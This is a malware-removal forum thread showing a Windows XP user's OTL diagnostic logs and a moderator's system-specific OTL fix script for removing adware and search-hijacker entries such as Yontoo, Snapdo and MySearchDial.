[2014/04/19 16:45:49 | 000,000,803 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Microsoft Office Outlook.lnk
[2014/04/19 16:30:49 | 000,123,592 | ---- | C] () -- C:\Documents and Settings\LocalService\Local Settings\Application Data\FontCache3.0.0.0.dat
[2014/04/19 14:33:14 | 000,013,785 | ---- | C] () -- C:\ads_err.adt
[2014/04/19 14:33:14 | 000,004,559 | ---- | C] () -- C:\ads_err.adm
[2014/04/19 14:33:14 | 000,003,072 | ---- | C] () -- C:\ads_err.adi
[2014/04/19 14:09:40 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimUsb_01007.Wdf
[2014/04/19 13:49:55 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimSerial_01007.Wdf
[2014/04/19 13:49:53 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\MsftWdf_Kernel_01007_Coinstaller_Critical.Wdf
[2014/04/19 12:27:48 | 000,000,226 | ---- | C] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Logon.job
[2014/04/19 12:27:47 | 000,000,220 | ---- | C] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Monthly.job
[2014/02/03 11:09:18 | 000,019,558 | ---- | C] () -- C:\WINDOWS\hpoins01.dat
[2014/02/03 11:09:18 | 000,016,606 | ---- | C] () -- C:\WINDOWS\hpomdl01.dat
[2013/08/12 01:16:46 | 000,000,070 | ---- | C] () -- C:\WINDOWS\ERROR.ini
[2013/08/12 01:08:24 | 000,000,164 | ---- | C] () -- C:\WINDOWS\Winamp.ini
[2013/04/14 17:31:13 | 000,007,680 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2013/04/09 09:01:48 | 000,000,000 | ---- | C] () -- C:\WINDOWS\TPTray.INI
[2013/04/09 02:26:54 | 000,000,664 | ---- | C] () -- C:\WINDOWS\System32\d3d9caps.dat
[2013/04/06 16:25:19 | 000,000,004 | ---- | C] () -- C:\WINDOWS\vx86036.dat
[2013/04/06 16:24:29 | 000,000,048 | ---- | C] () -- C:\WINDOWS\Crypkey.ini
[2013/04/06 16:24:27 | 000,023,360 | ---- | C] () -- C:\WINDOWS\System32\Ckldrv.sys
[2013/04/06 16:24:27 | 000,011,776 | ---- | C] () -- C:\WINDOWS\Ckrfresh.exe
[2013/04/06 04:46:56 | 000,000,000 | ---- | C] () -- C:\WINDOWS\WTNSETUP.INI
[2013/04/06 04:41:03 | 000,037,888 | ---- | C] () -- C:\WINDOWS\System32\DCCWFP32.DLL
[2013/04/06 04:41:03 | 000,000,250 | ---- | C] () -- C:\WINDOWS\WINFAX.INI
[2013/04/06 04:40:57 | 000,017,920 | ---- | C] () -- C:\WINDOWS\System32\IMPLODE.DLL
[2013/04/06 04:29:06 | 000,210,944 | ---- | C] () -- C:\WINDOWS\System32\Msvcrt10.dll
[2013/04/06 04:29:01 | 000,065,536 | ---- | C] () -- C:\WINDOWS\System32\adistres.dll
[2013/04/06 03:53:34 | 000,003,072 | ---- | C] () -- C:\WINDOWS\System32\iacenc.dll
[2013/04/04 21:16:56 | 000,128,113 | ---- | C] () -- C:\WINDOWS\System32\csellang.ini
[2013/04/04 21:16:56 | 000,045,056 | ---- | C] () -- C:\WINDOWS\System32\csellang.dll
[2013/04/04 21:16:56 | 000,010,165 | ---- | C] () -- C:\WINDOWS\System32\tosmreg.ini
[2013/04/04 21:16:56 | 000,007,671 | ---- | C] () -- C:\WINDOWS\System32\cseltbl.ini
[2013/04/04 21:16:22 | 000,006,528 | ---- | C] () -- C:\WINDOWS\System32\drivers\Tbiosdrv.sys
 
========== ZeroAccess Check ==========
 
[2005/05/13 04:54:05 | 000,000,227 | RHS- | M] () -- C:\WINDOWS\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shdocvw.dll -- [2008/04/14 06:42:06 | 001,499,136 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\fastprox.dll -- [2009/02/09 05:10:48 | 000,473,600 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\wbemess.dll -- [2008/04/14 06:42:10 | 000,273,920 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
========== LOP Check ==========
 
[2005/05/13 04:33:44 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Alina.TOSHIBA\Application Data\InterTrust
[2005/05/13 04:36:46 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Alina.TOSHIBA\Application Data\toshiba
[2014/04/19 16:15:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\188F1432-103A-4ffb-80F1-36B633C5C9E1
[2014/04/20 00:15:21 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\PriceMeterLiveUpdate
[2014/04/19 13:49:06 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\Research In Motion
[2014/04/20 09:59:26 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\ShoppingChip
[2013/04/07 10:23:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\Tarma Installer
[2014/04/19 23:07:24 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\TEMP
[2005/05/13 04:33:44 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Default User\Application Data\InterTrust
[2005/05/13 04:36:46 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Default User\Application Data\toshiba
[2014/04/20 09:55:37 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Activeris
[2014/04/20 00:22:58 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer
[2005/05/13 04:33:44 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\InterTrust
[2013/04/06 04:34:37 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\InterVideo
[2014/04/20 00:14:23 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\PriceMeterUpdater
[2014/04/19 13:59:15 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Research In Motion
[2014/04/20 00:14:57 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\StormFall
[2014/04/20 00:56:16 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\systweak
[2005/05/13 04:36:46 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\toshiba
[2013/12/08 00:38:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\uTorrent
[2014/04/20 13:03:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo
 
========== Purity Check ==========
 
 
 
========== Alternate Data Streams ==========
 
@Alternate Data Stream - 118 bytes -> C:\Documents and Settings\All Users\Application Data\TEMP:373E1720

< End of report >

 

 

 

 

OTL Extras logfile created on: 4/20/2014 3:10:49 PM - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Documents and Settings\Michael.TOSHIBA\Desktop
Windows XP Home Edition Service Pack 3 (Version = 5.1.2600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.6001.18702)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
2.00 Gb Total Physical Memory | 0.78 Gb Available Physical Memory | 38.95% Memory free
3.85 Gb Paging File | 2.64 Gb Available in Paging File | 68.68% Paging File free
Paging file location(s): C:\pagefile.sys 2046 4092 [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\WINDOWS | %ProgramFiles% = C:\Program Files
Drive C: | 92.97 Gb Total Space | 58.00 Gb Free Space | 62.38% Space Free | Partition Type: NTFS
 
Computer Name: TOSHIBA | User Name: Michael | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Extra Registry (SafeList) ==========
 
 
========== File Associations ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- rundll32.exe shell32.dll,Control_RunDLL "%1",%*
 
[HKEY_USERS\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Classes\<extension>]
.html [@ = htmlfile] -- Reg Error: Key error. File not found
 
========== Shell Spawning ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- rundll32.exe shell32.dll,Control_RunDLL "%1",%*
exefile [open] -- "%1" %*
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Directory [AddToPlaylistVLC] -- "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file --playlist-enqueue "%1" (VideoLAN)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Directory [PlayWithVLC] -- "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file --no-playlist-enqueue "%1" (VideoLAN)
Folder [open] -- %SystemRoot%\Explorer.exe /idlist,%I,%L (Microsoft Corporation)
Folder [explore] -- %SystemRoot%\Explorer.exe /e,/idlist,%I,%L (Microsoft Corporation)
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
 
========== Security Center Settings ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"FirstRunDisabled" = 1
"AntiVirusDisableNotify" = 0
"FirewallDisableNotify" = 0
"UpdatesDisableNotify" = 0
"AntiVirusOverride" = 0
"FirewallOverride" = 0
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\AhnlabAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\ComputerAssociatesAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\KasperskyAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\McAfeeAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\McAfeeFirewall]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\PandaAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\PandaFirewall]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\SophosAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\SymantecAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\SymantecFirewall]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\TinyFirewall]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\TrendAntiVirus]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\TrendFirewall]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring\ZoneLabsFirewall]
 
========== System Restore Settings ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]
"DisableSR" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sr]
"Start" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SrService]
"Start" = 2
 
========== Firewall Settings ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"EnableFirewall" = 1
"DisableNotifications" = 0
"DoNotAllowExceptions" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = 1
"DisableNotifications" = 0
"DoNotAllowExceptions" = 0
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
"4481:TCP" = 4481:TCP:LocalSubNet:Enabled:BlackBerry Desktop Software Wireless Music Sync data transfer
"4481:UDP" = 4481:UDP:LocalSubNet:Enabled:BlackBerry Desktop Software Wireless Music Sync discovery
"4482:TCP" = 4482:TCP:LocalSubNet:Enabled:BlackBerry Desktop Software Wireless Music Sync data transfer
"4482:UDP" = 4482:UDP:LocalSubNet:Enabled:BlackBerry Desktop Software Wireless Music Sync discovery
 
========== Authorized Applications List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]
"%windir%\system32\sessmgr.exe" = %windir%\system32\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019 -- (Microsoft Corporation)
"%windir%\Network Diagnostic\xpnetdiag.exe" = %windir%\Network Diagnostic\xpnetdiag.exe:*:Enabled:@xpsp3res.dll,-20000 -- (Microsoft Corporation)
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\system32\sessmgr.exe" = %windir%\system32\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019 -- (Microsoft Corporation)
"%windir%\Network Diagnostic\xpnetdiag.exe" = %windir%\Network Diagnostic\xpnetdiag.exe:*:Enabled:@xpsp3res.dll,-20000 -- (Microsoft Corporation)
"C:\Program Files\Logitech\Logitech Alert\Logitech Alert Commander.exe" = C:\Program Files\Logitech\Logitech Alert\Logitech Alert Commander.exe:*:Enabled:Logitech Alert Commander -- (Logitech)
"C:\Documents and Settings\Michael.TOSHIBA\Application Data\uTorrent\uTorrent.exe" = C:\Documents and Settings\Michael.TOSHIBA\Application Data\uTorrent\uTorrent.exe:*:Enabled:µTorrent -- (BitTorrent Inc.)
"C:\Program Files\Bonjour\mDNSResponder.exe" = C:\Program Files\Bonjour\mDNSResponder.exe:*:Enabled:Bonjour Service -- (Apple Inc.)
"C:\Program Files\Skype\Phone\Skype.exe" = C:\Program Files\Skype\Phone\Skype.exe:*:Enabled:Skype -- (Skype Technologies S.A.)
"C:\Program Files\Research In Motion\BlackBerry Desktop\Rim.Desktop.exe" = C:\Program Files\Research In Motion\BlackBerry Desktop\Rim.Desktop.exe:*:Enabled:BlackBerry Desktop Software -- (Research In Motion)
"C:\Program Files\iTunes\iTunes.exe" = C:\Program Files\iTunes\iTunes.exe:*:Enabled:iTunes -- (Apple Inc.)
 
 
========== HKEY_LOCAL_MACHINE Uninstall List ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{90110409-6000-11D3-8CFE-0150048383C9}" = Microsoft Office Professional Edition 2003
"{90120000-0020-0409-0000-0000000FF1CE}" = Compatibility Pack for the 2007 Office system
"{DB066768-5A50-4C44-815B-4E8A6A39335E}" = AxCrypt 1.7.3156.0
 
========== HKEY_USERS Uninstall List ==========
 
[HKEY_USERS\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"uTorrent" = µTorrent
 
========== Last 20 Event Log Errors ==========
 
[ Application Events ]
Error - 4/20/2014 2:56:29 AM | Computer Name = TOSHIBA | Source = MPSampleSubmission | ID = 5000
Description = EventType mptelemetry, P1 80070490, P2 remediation, P3 remediationfailuretelemetry,
 P4 1.1.10502.0, P5 mpengine, P6 0, P7 unspecified, P8 NIL, P9 NIL, P10 NIL.
 
Error - 4/20/2014 3:03:50 AM | Computer Name = TOSHIBA | Source = Application Hang | ID = 1002
Description = Hanging application iexplore.exe, version 8.0.6001.18702, hang module
 hungapp, version 0.0.0.0, hang address 0x00000000.
 
Error - 4/20/2014 3:18:03 AM | Computer Name = TOSHIBA | Source = MsiInstaller | ID = 11316
Description = Product: Google Update Helper -- Error 1316. A network error occurred
 while attempting to read from the file: C:\Program Files\PriceMeterLiveUpdate\Update\1.3.23.0\GoogleUpdateHelper.msi
 
Error - 4/20/2014 3:24:34 AM | Computer Name = TOSHIBA | Source = Registry Helper Service | ID = 109
Description = Error: Service started
 
Error - 4/20/2014 3:46:20 AM | Computer Name = TOSHIBA | Source = Application Hang | ID = 1002
Description = Hanging application nsu17A.tmp, version 0.0.0.0, hang module hungapp,
 version 0.0.0.0, hang address 0x00000000.
 
Error - 4/20/2014 3:49:18 AM | Computer Name = TOSHIBA | Source = Registry Helper Service | ID = 109
Description = Error: Service started
 
Error - 4/20/2014 1:04:06 PM | Computer Name = TOSHIBA | Source = MsiInstaller | ID = 11921
Description = Product: Nero Update -- Error 1921.Service Nero Update (NAUpdate)
could not be stopped.  Verify that you have sufficient privileges to stop system
 services.
 
Error - 4/20/2014 1:12:18 PM | Computer Name = TOSHIBA | Source = MsiInstaller | ID = 11921
Description = Product: Nero Update -- Error 1921.Service Nero Update (NAUpdate)
could not be stopped.  Verify that you have sufficient privileges to stop system
 services.
 
Error - 4/20/2014 1:16:24 PM | Computer Name = TOSHIBA | Source = MsiInstaller | ID = 11921
Description = Product: Nero Update -- Error 1921.Service Nero Update (NAUpdate)
could not be stopped.  Verify that you have sufficient privileges to stop system
 services.
 
Error - 4/20/2014 1:20:30 PM | Computer Name = TOSHIBA | Source = MsiInstaller | ID = 11921
Description = Product: Nero Update -- Error 1921.Service Nero Update (NAUpdate)
could not be stopped.  Verify that you have sufficient privileges to stop system
 services.
 
[ System Events ]
Error - 4/20/2014 4:07:16 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:16 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:16 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:16 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:16 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:17 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:17 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:17 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:17 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
Error - 4/20/2014 4:07:17 AM | Computer Name = TOSHIBA | Source = Service Control Manager | ID = 7023
Description = The Application Management service terminated with the following error:
   %%126
 
 
< End of report >
 


Edited by mraskin, 20 April 2014 - 04:26 PM.

  • 0

Advertisements

#2
Essexboy
Posted 21 April 2014 - 04:37 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Hi there you do appear to have a modicum of junk :)

Warning This fix is only relevant for this system and no other, using on another computer may cause problems

Be advised that when the fix commences it will shut down all running processes and you may lose the desktop and icons, they will return on reboot

Run OTL
  • Under the Custom Scans/Fixes box at the bottom, paste in the following
    OTL_Fix.GIF
:Commands
[CREATERESTOREPOINT]

:OTL
SRV - File not found [Auto | Running] -- C:\Program Files\Yontoo\Y2Desktop.Updater.exe C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo\YontooDesktop.exe -- (Yontoo Desktop Updater)
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://start.mysearc...r=1077732096=
IE - HKLM\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://start.mysearc...r=1077732096=
IE - HKLM\..\SearchScopes\{77AA745B-F4F8-45DA-9B14-61D2D95054C8}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-19\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-20\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://start.mysearc...r=1077732096=
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{77AA745B-F4F8-45DA-9B14-61D2D95054C8}: "URL" = http://feed.snapdo.c...Date=19/10/2013
FF - prefs.js..browser.search.defaultenginename: "Mysearchdial"
FF - prefs.js..browser.search.order.1: "Mysearchdial"
FF - prefs.js..browser.search.selectedEngine: "Mysearchdial"
FF - prefs.js..browser.startup.homepage: "http://start.mysearc...r=1077732096="
FF - prefs.js..extensions.enabledAddons: a0046b9b-fdb9-497f-a4b1-2a108ad6007a%405cdf80b7-0420-4bb7-b3c0-e188e6f4fb8a.com:0.94.18
FF - prefs.js..extensions.enabledAddons: a9719e64-232b-4695-ae9c-a89cd7f2aa84%40ca1279df-bc0d-44a8-97ef-19301c922b68.com:0.94.21
FF - prefs.js..extensions.enabledAddons: ffxtlbr%40mysearchdial.com:1.6.0
FF - prefs.js..extensions.enabledAddons: %7B20a82645-c095-46ed-80e3-08825760534b%7D:0.0.0
FF - prefs.js..keyword.URL: "http://feed.snapdo.c...te=19/10/2013="
[2014/04/19 23:45:10 | 000,000,000 | ---D | M] ("MySearchDial NewTab") -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}
[2013/10/19 22:54:17 | 000,000,000 | ---D | M] (ShoppingChip) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\[email protected]
[2014/04/19 23:45:19 | 000,002,789 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Mysearchdial.xml
[2013/10/19 22:37:22 | 000,002,431 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Web Search.xml
O3 - HKLM\..\Toolbar: (no name) - {ae07101b-46d4-4a98-af68-0333ea26e113} - No CLSID value found.
O3 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\Toolbar\ShellBrowser: (no name) - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6} - No CLSID value found.
O3 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\Toolbar\WebBrowser: (no name) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - No CLSID value found.
O4 - HKLM..\Run: []  File not found
O4 - HKLM..\Run: [fst_ca_88]  File not found
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [ContentExplorer] C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer\ContentExplorer.exe (ContentExplorer)
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [PriceMeterW] "C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\PriceMeter\pricemeterw.exe" File not found
O20 - AppInit_DLLs: (c:\progra~1\psupport\psupport.dll) - c:\Program Files\PSupport\psupport.dll ()
[2014/04/20 00:15:44 | 000,018,776 | ---- | C] (Systweak Inc., (www.systweak.com)) -- C:\WINDOWS\System32\roboot.exe
[2014/04/20 00:15:25 | 000,000,000 | ---D | C] -- C:\Program Files\PriceMeterLiveUpdate
[2014/04/20 00:15:23 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\PriceMeterLiveUpdate
[2014/04/20 00:15:21 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\PriceMeterLiveUpdate
[2014/04/20 00:15:17 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\systweak
[2014/04/20 00:14:57 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\StormFall
[2014/04/20 00:14:31 | 000,000,000 | ---D | C] -- C:\Program Files\AnyProtectEx
[2014/04/20 00:14:22 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\PriceMeterUpdater
[2014/04/19 23:29:04 | 001,079,839 | ---- | C] (AnyProtect.com) -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\AnyProtectScannerSetup.exe
[2014/04/19 23:01:46 | 000,000,000 | ---D | C] -- C:\Program Files\MyPC Backup
[2014/04/19 22:59:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88
[2014/04/19 22:59:18 | 000,000,000 | ---D | C] -- C:\Program Files\fst_ca_88
[2014/04/19 22:58:21 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Genesis
[2014/04/19 22:58:00 | 000,000,000 | ---D | C] -- C:\Program Files\Re-markit-soft
[2014/04/19 16:12:51 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\188F1432-103A-4ffb-80F1-36B633C5C9E1
